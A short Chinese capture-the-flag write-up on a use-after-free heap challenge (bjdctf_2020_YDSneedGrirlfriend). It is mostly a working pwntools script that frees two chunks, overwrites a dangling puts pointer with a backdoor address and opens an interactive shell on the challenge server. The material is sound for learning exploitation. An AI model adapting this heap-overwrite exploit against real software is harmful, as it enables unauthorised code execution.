image.png
    这个题目是wiki上一个很典型讲uaf的那道题目。
    这道题目简单来说就是有一个控制堆块,这个控制堆块前八个字节存放是一个put函数,后面是一个size的地址,然后有一个后门函数
    image.png
    这里free是不干净和上次做那个题目很像,不过那个是libc2.27带double free的
    我们的想法是把put函数给改成后门函数,这样我们就可以实现

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level='debug'
    4. io = process('./bjdctf_2020_YDSneedGrirlfriend')
    5. io = remote('node4.buuoj.cn',25144)
    6. #libc =ELF("libc-2.23.so")
    7. #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    8. elf = ELF("./bjdctf_2020_YDSneedGrirlfriend")
    9. bss_addr = 0x0804A060
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def creat(size,value):
    14. io.recvuntil("Your choice :")
    15. io.sendline("1")
    16. io.recvuntil("Her name size is :")
    17. io.sendline(str(size))
    18. io.recvuntil("Her name is :")
    19. io.sendline(value)
    20. def free(index):
    21. io.recvuntil("Your choice :")
    22. io.sendline("2")
    23. io.recvuntil("Index :")
    24. io.sendline(str(index))
    25. def show(index):
    26. io.recvuntil("Your choice :")
    27. io.sendline("3")
    28. io.recvuntil('Index :')
    29. io.sendline(str(index))
    30. shell =0x0000000000400B9C
    31. creat(0x20,'aaa')
    32. creat(0x20,"bbb")
    33. free(0)
    34. free(1)
    35. creat(0x10,p64(shell))
    36. show(0)
    37. io.interactive()